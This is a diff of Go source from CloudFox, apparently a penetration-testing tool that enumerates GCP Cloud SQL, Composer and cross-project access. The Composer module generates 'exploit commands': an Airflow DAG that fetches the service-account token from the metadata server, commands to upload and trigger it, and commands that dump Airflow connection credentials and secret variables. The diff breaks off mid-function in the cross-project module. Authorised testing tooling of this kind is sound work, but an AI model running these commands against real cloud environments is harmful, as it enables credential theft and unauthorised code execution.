return "mysql"
|
||||
case strings.HasPrefix(version, "POSTGRES"):
|
||||
return "postgres"
|
||||
case strings.HasPrefix(version, "SQLSERVER"):
|
||||
return "sqlserver"
|
||||
default:
|
||||
return "unknown"
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *CloudSQLModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
// Decide between hierarchical and flat output
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
// writeHierarchicalOutput writes output to per-project directories
|
||||
func (m *CloudSQLModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
header := m.getTableHeader()
|
||||
|
||||
// Build hierarchical output data
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Build project-level outputs
|
||||
for projectID, instances := range m.ProjectInstances {
|
||||
body := m.instancesToTableBody(instances)
|
||||
tables := []internal.TableFile{{
|
||||
Name: globals.GCP_CLOUDSQL_MODULE_NAME,
|
||||
Header: header,
|
||||
Body: body,
|
||||
}}
|
||||
|
||||
// Collect loot for this project
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = CloudSQLOutput{Table: tables, Loot: lootFiles}
|
||||
}
|
||||
|
||||
// Create path builder using the module's hierarchy
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
// Write using hierarchical output
|
||||
err := internal.HandleHierarchicalOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
pathBuilder,
|
||||
outputData,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_CLOUDSQL_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
// writeFlatOutput writes all output to a single directory (legacy mode)
|
||||
func (m *CloudSQLModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
header := m.getTableHeader()
|
||||
allInstances := m.getAllInstances()
|
||||
body := m.instancesToTableBody(allInstances)
|
||||
|
||||
// Collect all loot files
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
tableFiles := []internal.TableFile{{
|
||||
Name: globals.GCP_CLOUDSQL_MODULE_NAME,
|
||||
Header: header,
|
||||
Body: body,
|
||||
}}
|
||||
|
||||
output := CloudSQLOutput{
|
||||
Table: tableFiles,
|
||||
Loot: lootFiles,
|
||||
}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project",
|
||||
m.ProjectIDs,
|
||||
scopeNames,
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_CLOUDSQL_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
// getTableHeader returns the table header for Cloud SQL instances
|
||||
func (m *CloudSQLModule) getTableHeader() []string {
|
||||
return []string{
|
||||
"Project Name",
|
||||
"Project ID",
|
||||
"Name",
|
||||
"Region",
|
||||
"Database",
|
||||
"Tier",
|
||||
"Public IP",
|
||||
"Private IP",
|
||||
"SSL",
|
||||
"Backups",
|
||||
"PITR",
|
||||
"Encrypt",
|
||||
"IAM Auth",
|
||||
"PwdPolicy",
|
||||
"HA",
|
||||
"Auth Network",
|
||||
"CIDR",
|
||||
"Public Access",
|
||||
}
|
||||
}
|
||||
|
||||
// instancesToTableBody converts instances to table body rows
|
||||
func (m *CloudSQLModule) instancesToTableBody(instances []CloudSQLService.SQLInstanceInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, instance := range instances {
|
||||
// Format encryption type
|
||||
encryptionDisplay := instance.EncryptionType
|
||||
if encryptionDisplay == "" || encryptionDisplay == "Google-managed" {
|
||||
encryptionDisplay = "Google"
|
||||
}
|
||||
|
||||
// Format public/private IPs
|
||||
publicIP := instance.PublicIP
|
||||
if publicIP == "" {
|
||||
publicIP = "-"
|
||||
}
|
||||
privateIP := instance.PrivateIP
|
||||
if privateIP == "" {
|
||||
privateIP = "-"
|
||||
}
|
||||
|
||||
// If instance has authorized networks, create one row per network
|
||||
if len(instance.AuthorizedNetworks) > 0 {
|
||||
for _, network := range instance.AuthorizedNetworks {
|
||||
publicAccess := "No"
|
||||
if network.IsPublic {
|
||||
publicAccess = "YES - WORLD ACCESSIBLE"
|
||||
}
|
||||
|
||||
networkName := network.Name
|
||||
if networkName == "" {
|
||||
networkName = "-"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(instance.ProjectID),
|
||||
instance.ProjectID,
|
||||
instance.Name,
|
||||
instance.Region,
|
||||
instance.DatabaseVersion,
|
||||
instance.Tier,
|
||||
publicIP,
|
||||
privateIP,
|
||||
shared.BoolToYesNo(instance.RequireSSL),
|
||||
shared.BoolToYesNo(instance.BackupEnabled),
|
||||
shared.BoolToYesNo(instance.PointInTimeRecovery),
|
||||
encryptionDisplay,
|
||||
shared.BoolToYesNo(instance.IAMAuthentication),
|
||||
shared.BoolToYesNo(instance.PasswordPolicyEnabled),
|
||||
instance.AvailabilityType,
|
||||
networkName,
|
||||
network.Value,
|
||||
publicAccess,
|
||||
})
|
||||
}
|
||||
} else {
|
||||
// Instance has no authorized networks - single row
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(instance.ProjectID),
|
||||
instance.ProjectID,
|
||||
instance.Name,
|
||||
instance.Region,
|
||||
instance.DatabaseVersion,
|
||||
instance.Tier,
|
||||
publicIP,
|
||||
privateIP,
|
||||
shared.BoolToYesNo(instance.RequireSSL),
|
||||
shared.BoolToYesNo(instance.BackupEnabled),
|
||||
shared.BoolToYesNo(instance.PointInTimeRecovery),
|
||||
encryptionDisplay,
|
||||
shared.BoolToYesNo(instance.IAMAuthentication),
|
||||
shared.BoolToYesNo(instance.PasswordPolicyEnabled),
|
||||
instance.AvailabilityType,
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,388 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
composerservice "github.com/BishopFox/cloudfox/gcp/services/composerService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPComposerCommand = &cobra.Command{
|
||||
Use: globals.GCP_COMPOSER_MODULE_NAME,
|
||||
Aliases: []string{"airflow"},
|
||||
Short: "Enumerate Cloud Composer environments",
|
||||
Long: `Enumerate Cloud Composer (managed Apache Airflow) environments.
|
||||
|
||||
Features:
|
||||
- Lists all Composer environments across locations
|
||||
- Shows Airflow web UI endpoints
|
||||
- Identifies service account configuration
|
||||
- Analyzes network exposure (private vs public)
|
||||
- Detects overly permissive IP restrictions`,
|
||||
Run: runGCPComposerCommand,
|
||||
}
|
||||
|
||||
type ComposerModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
ProjectEnvironments map[string][]composerservice.EnvironmentInfo // projectID -> environments
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper cache for attack path analysis
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type ComposerOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o ComposerOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o ComposerOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
func runGCPComposerCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_COMPOSER_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &ComposerModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectEnvironments: make(map[string][]composerservice.EnvironmentInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
func (m *ComposerModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// Get FoxMapper cache from context
|
||||
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_COMPOSER_MODULE_NAME, m.processProject)
|
||||
|
||||
allEnvironments := m.getAllEnvironments()
|
||||
if len(allEnvironments) == 0 {
|
||||
logger.InfoM("No Composer environments found", globals.GCP_COMPOSER_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count by state
|
||||
running := 0
|
||||
publicEnvs := 0
|
||||
for _, env := range allEnvironments {
|
||||
if env.State == "RUNNING" {
|
||||
running++
|
||||
}
|
||||
if !env.PrivateEnvironment {
|
||||
publicEnvs++
|
||||
}
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d Composer environment(s) (%d running, %d public)",
|
||||
len(allEnvironments), running, publicEnvs), globals.GCP_COMPOSER_MODULE_NAME)
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
func (m *ComposerModule) getAllEnvironments() []composerservice.EnvironmentInfo {
|
||||
var all []composerservice.EnvironmentInfo
|
||||
for _, envs := range m.ProjectEnvironments {
|
||||
all = append(all, envs...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *ComposerModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating Composer in project: %s", projectID), globals.GCP_COMPOSER_MODULE_NAME)
|
||||
}
|
||||
|
||||
svc := composerservice.New()
|
||||
environments, err := svc.ListEnvironments(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_COMPOSER_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate Composer environments in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectEnvironments[projectID] = environments
|
||||
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["composer-commands"] = &internal.LootFile{
|
||||
Name: "composer-commands",
|
||||
Contents: "# Composer Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
|
||||
for _, env := range environments {
|
||||
m.addToLoot(projectID, env)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *ComposerModule) addToLoot(projectID string, env composerservice.EnvironmentInfo) {
|
||||
lootFile := m.LootMap[projectID]["composer-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# COMPOSER ENVIRONMENT: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Location: %s\n"+
|
||||
"# State: %s\n"+
|
||||
"# Service Account: %s\n"+
|
||||
"# Private: %s\n",
|
||||
env.Name, env.ProjectID, env.Location,
|
||||
env.State, env.ServiceAccount,
|
||||
shared.BoolToYesNo(env.PrivateEnvironment),
|
||||
)
|
||||
|
||||
// === ENUMERATION COMMANDS ===
|
||||
lootFile.Contents += fmt.Sprintf(`
|
||||
# === ENUMERATION COMMANDS ===
|
||||
|
||||
# Describe environment:
|
||||
gcloud composer environments describe %s --location=%s --project=%s
|
||||
|
||||
# List DAGs:
|
||||
gcloud composer environments run %s --location=%s --project=%s dags list
|
||||
|
||||
# List Airflow connections (may contain credentials):
|
||||
gcloud composer environments run %s --location=%s --project=%s connections list
|
||||
|
||||
# List Airflow variables (may contain secrets):
|
||||
gcloud composer environments run %s --location=%s --project=%s variables list
|
||||
|
||||
# List Airflow pools:
|
||||
gcloud composer environments run %s --location=%s --project=%s pools list
|
||||
|
||||
# Show environment configuration:
|
||||
gcloud composer environments describe %s --location=%s --project=%s --format=json | jq '.config'
|
||||
|
||||
`,
|
||||
env.Name, env.Location, env.ProjectID,
|
||||
env.Name, env.Location, env.ProjectID,
|
||||
env.Name, env.Location, env.ProjectID,
|
||||
env.Name, env.Location, env.ProjectID,
|
||||
env.Name, env.Location, env.ProjectID,
|
||||
env.Name, env.Location, env.ProjectID,
|
||||
)
|
||||
|
||||
// === DAG BUCKET COMMANDS ===
|
||||
if env.DagGcsPrefix != "" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# === DAG BUCKET COMMANDS ===\n\n"+
|
||||
"# List DAG files:\n"+
|
||||
"gsutil ls %s\n\n"+
|
||||
"# Download all DAGs for analysis:\n"+
|
||||
"gsutil -m cp -r %s /tmp/composer-dags-%s/\n\n"+
|
||||
"# Search DAGs for hardcoded credentials:\n"+
|
||||
"gsutil cat %s/*.py | grep -iE '(password|secret|token|key|credential)'\n\n",
|
||||
env.DagGcsPrefix,
|
||||
env.DagGcsPrefix, env.Name,
|
||||
env.DagGcsPrefix,
|
||||
)
|
||||
}
|
||||
|
||||
// === EXPLOIT COMMANDS ===
|
||||
lootFile.Contents += "# === EXPLOIT COMMANDS ===\n\n"
|
||||
|
||||
// DAG upload for code execution (CRITICAL attack vector)
|
||||
if env.DagGcsPrefix != "" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Upload malicious DAG for code execution (runs as Composer SA: %s):\n"+
|
||||
"# Create a reverse shell DAG or credential harvester:\n"+
|
||||
"cat > /tmp/cloudfox_dag.py << 'DAGEOF'\n"+
|
||||
"from airflow import DAG\n"+
|
||||
"from airflow.operators.python import PythonOperator\n"+
|
||||
"from datetime import datetime\n"+
|
||||
"import subprocess, json\n"+
|
||||
"def exfil_metadata():\n"+
|
||||
" # Get SA token from metadata\n"+
|
||||
" result = subprocess.run(['curl', '-s', '-H', 'Metadata-Flavor: Google',\n"+
|
||||
" 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'],\n"+
|
||||
" capture_output=True, text=True)\n"+
|
||||
" print(json.loads(result.stdout))\n"+
|
||||
"dag = DAG('cloudfox_test', start_date=datetime(2024,1,1), schedule_interval=None)\n"+
|
||||
"task = PythonOperator(task_id='test', python_callable=exfil_metadata, dag=dag)\n"+
|
||||
"DAGEOF\n"+
|
||||
"gsutil cp /tmp/cloudfox_dag.py %s/cloudfox_dag.py\n\n"+
|
||||
"# Trigger the uploaded DAG:\n"+
|
||||
"gcloud composer environments run %s --location=%s --project=%s dags trigger cloudfox_test\n\n"+
|
||||
"# Check DAG run status:\n"+
|
||||
"gcloud composer environments run %s --location=%s --project=%s dags list-runs -d cloudfox_test\n\n",
|
||||
env.ServiceAccount,
|
||||
env.DagGcsPrefix,
|
||||
env.Name, env.Location, env.ProjectID,
|
||||
env.Name, env.Location, env.ProjectID,
|
||||
)
|
||||
}
|
||||
|
||||
// Extract Airflow connection credentials
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Dump Airflow connection credentials:\n"+
|
||||
"gcloud composer environments run %s --location=%s --project=%s connections list -- -o json\n\n"+
|
||||
"# Export specific connection details:\n"+
|
||||
"gcloud composer environments run %s --location=%s --project=%s connections get -- <CONNECTION_ID>\n\n"+
|
||||
"# Dump all Airflow variables (may contain secrets):\n"+
|
||||
"gcloud composer environments run %s --location=%s --project=%s variables export -- /tmp/variables.json\n\n",
|
||||
env.Name, env.Location, env.ProjectID,
|
||||
env.Name, env.Location, env.ProjectID,
|
||||
env.Name, env.Location, env.ProjectID,
|
||||
)
|
||||
|
||||
// Airflow Web UI
|
||||
if env.AirflowURI != "" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Airflow Web UI (access via browser with authenticated session):\n"+
|
||||
"# %s\n\n",
|
||||
env.AirflowURI,
|
||||
)
|
||||
}
|
||||
|
||||
lootFile.Contents += "\n"
|
||||
}
|
||||
|
||||
func (m *ComposerModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ComposerModule) getTableHeader() []string {
|
||||
return []string{
|
||||
"Project Name",
|
||||
"Project ID",
|
||||
"Name",
|
||||
"Location",
|
||||
"State",
|
||||
"Service Account",
|
||||
"SA Attack Paths",
|
||||
"Private",
|
||||
"Private Endpoint",
|
||||
"Airflow URI",
|
||||
"DAG Bucket",
|
||||
"Image Version",
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ComposerModule) environmentsToTableBody(environments []composerservice.EnvironmentInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, env := range environments {
|
||||
sa := env.ServiceAccount
|
||||
if sa == "" {
|
||||
sa = "(default)"
|
||||
}
|
||||
|
||||
// Check attack paths (privesc/exfil/lateral) for the service account
|
||||
attackPaths := "run foxmapper"
|
||||
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
if sa != "(default)" && sa != "" {
|
||||
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, sa)
|
||||
} else {
|
||||
attackPaths = "No"
|
||||
}
|
||||
}
|
||||
|
||||
airflowURI := env.AirflowURI
|
||||
if airflowURI == "" {
|
||||
airflowURI = "-"
|
||||
}
|
||||
|
||||
dagBucket := env.DagGcsPrefix
|
||||
if dagBucket == "" {
|
||||
dagBucket = "-"
|
||||
}
|
||||
|
||||
imageVersion := env.ImageVersion
|
||||
if imageVersion == "" {
|
||||
imageVersion = "-"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(env.ProjectID),
|
||||
env.ProjectID,
|
||||
env.Name,
|
||||
env.Location,
|
||||
env.State,
|
||||
sa,
|
||||
attackPaths,
|
||||
shared.BoolToYesNo(env.PrivateEnvironment),
|
||||
shared.BoolToYesNo(env.EnablePrivateEndpoint),
|
||||
airflowURI,
|
||||
dagBucket,
|
||||
imageVersion,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *ComposerModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
for projectID, environments := range m.ProjectEnvironments {
|
||||
body := m.environmentsToTableBody(environments)
|
||||
tableFiles := []internal.TableFile{{Name: "composer", Header: m.getTableHeader(), Body: body}}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = ComposerOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_COMPOSER_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ComposerModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allEnvironments := m.getAllEnvironments()
|
||||
body := m.environmentsToTableBody(allEnvironments)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
tables := []internal.TableFile{{Name: "composer", Header: m.getTableHeader(), Body: body}}
|
||||
output := ComposerOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
|
||||
"project", m.ProjectIDs, scopeNames, m.Account, output)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_COMPOSER_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,662 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
crossprojectservice "github.com/BishopFox/cloudfox/gcp/services/crossProjectService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPCrossProjectCommand = &cobra.Command{
|
||||
Use: globals.GCP_CROSSPROJECT_MODULE_NAME,
|
||||
Aliases: []string{"cross-project", "xproject"},
|
||||
Short: "Analyze cross-project access patterns for lateral movement",
|
||||
Long: `Analyze cross-project access patterns to identify lateral movement paths and data flows.
|
||||
|
||||
This module is designed for penetration testing and identifies:
|
||||
- Service accounts with access to multiple projects
|
||||
- Cross-project IAM role bindings
|
||||
- Potential lateral movement paths between projects
|
||||
- Cross-project logging sinks (data exfiltration via logs)
|
||||
- Cross-project Pub/Sub exports (data exfiltration via messages)
|
||||
- Impersonation targets (which SAs can be impersonated in target projects)
|
||||
|
||||
Features:
|
||||
- Maps cross-project service account access
|
||||
- Identifies cross-project roles (owner, editor, admin)
|
||||
- Discovers logging sinks sending logs to other projects
|
||||
- Discovers Pub/Sub subscriptions exporting to other projects (BQ, GCS, push)
|
||||
- Generates exploitation commands for lateral movement
|
||||
- Highlights service accounts spanning trust boundaries
|
||||
- Shows impersonation targets (run foxmapper first for attack path analysis)
|
||||
|
||||
RECOMMENDED: For comprehensive cross-project analysis, use -A to analyze all accessible projects:
|
||||
|
||||
cloudfox gcp crossproject -A
|
||||
|
||||
This will:
|
||||
- Use cached org/folder/project data (auto-populated, refreshes every 24h)
|
||||
- Analyze cross-project patterns across all accessible projects
|
||||
- Show "Trust Boundary" column indicating if target is Internal, External, or Unknown
|
||||
|
||||
TRUST BOUNDARY COLUMN:
|
||||
- "Internal" - Target project is within your organization
|
||||
- "External" - Target project is outside your organization (trust boundary crossing!)
|
||||
- "Unknown" - Cannot determine boundary
|
||||
|
||||
ALTERNATIVE: Specify projects manually with -l for a project list file:
|
||||
|
||||
cloudfox gcp crossproject -l projects.txt
|
||||
|
||||
TIP: Run foxmapper first to populate the Attack Paths column.
|
||||
|
||||
WARNING: Requires multiple projects to be specified for effective analysis.
|
||||
Single project analysis (-p) will have limited results.`,
|
||||
Run: runGCPCrossProjectCommand,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Struct
|
||||
// ------------------------------
|
||||
type CrossProjectModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
CrossBindings []crossprojectservice.CrossProjectBinding
|
||||
CrossProjectSAs []crossprojectservice.CrossProjectServiceAccount
|
||||
LateralMovementPaths []crossprojectservice.LateralMovementPath
|
||||
CrossProjectSinks []crossprojectservice.CrossProjectLoggingSink
|
||||
CrossProjectPubSub []crossprojectservice.CrossProjectPubSubExport
|
||||
LootMap map[string]*internal.LootFile
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache
|
||||
OrgCache *gcpinternal.OrgCache
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Struct
|
||||
// ------------------------------
|
||||
type CrossProjectOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o CrossProjectOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o CrossProjectOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPCrossProjectCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_CROSSPROJECT_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(cmdCtx.ProjectIDs) < 2 {
|
||||
cmdCtx.Logger.InfoM("Cross-project analysis works best with multiple projects. Consider using -l to specify a project list.", globals.GCP_CROSSPROJECT_MODULE_NAME)
|
||||
}
|
||||
|
||||
module := &CrossProjectModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
CrossBindings: []crossprojectservice.CrossProjectBinding{},
|
||||
CrossProjectSAs: []crossprojectservice.CrossProjectServiceAccount{},
|
||||
LateralMovementPaths: []crossprojectservice.LateralMovementPath{},
|
||||
CrossProjectSinks: []crossprojectservice.CrossProjectLoggingSink{},
|
||||
CrossProjectPubSub: []crossprojectservice.CrossProjectPubSubExport{},
|
||||
LootMap: make(map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
module.initializeLootFiles()
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *CrossProjectModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// Get FoxMapper cache for graph-based analysis
|
||||
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
logger.InfoM("Using FoxMapper graph data for attack path analysis", globals.GCP_CROSSPROJECT_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Get org cache from context (auto-loaded at startup)
|
||||
m.OrgCache = gcpinternal.GetOrgCacheFromContext(ctx)
|
||||
|
||||
// If no context cache, try loading from disk cache
|
||||
if m.OrgCache == nil || !m.OrgCache.IsPopulated() {
|
||||
diskCache, _, err := gcpinternal.LoadOrgCacheFromFile(m.OutputDirectory, m.Account)
|
||||
if err == nil && diskCache != nil && diskCache.IsPopulated() {
|
||||
m.OrgCache = diskCache
|
||||
}
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Analyzing cross-project access patterns across %d project(s)...", len(m.ProjectIDs)), globals.GCP_CROSSPROJECT_MODULE_NAME)
|
||||
|
||||
svc := crossprojectservice.New()
|
||||
|
||||
// Analyze cross-project bindings
|
||||
bindings, err := svc.AnalyzeCrossProjectAccess(m.ProjectIDs, m.OrgCache)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_CROSSPROJECT_MODULE_NAME,
|
||||
"Could not analyze cross-project access")
|
||||
} else {
|
||||
m.CrossBindings = bindings
|
||||
}
|
||||
|
||||
// Get cross-project service accounts
|
||||
sas, err := svc.GetCrossProjectServiceAccounts(m.ProjectIDs)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_CROSSPROJECT_MODULE_NAME,
|
||||
"Could not get cross-project service accounts")
|
||||
} else {
|
||||
m.CrossProjectSAs = sas
|
||||
}
|
||||
|
||||
// Find lateral movement paths
|
||||
paths, err := svc.FindLateralMovementPaths(m.ProjectIDs, m.OrgCache)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_CROSSPROJECT_MODULE_NAME,
|
||||
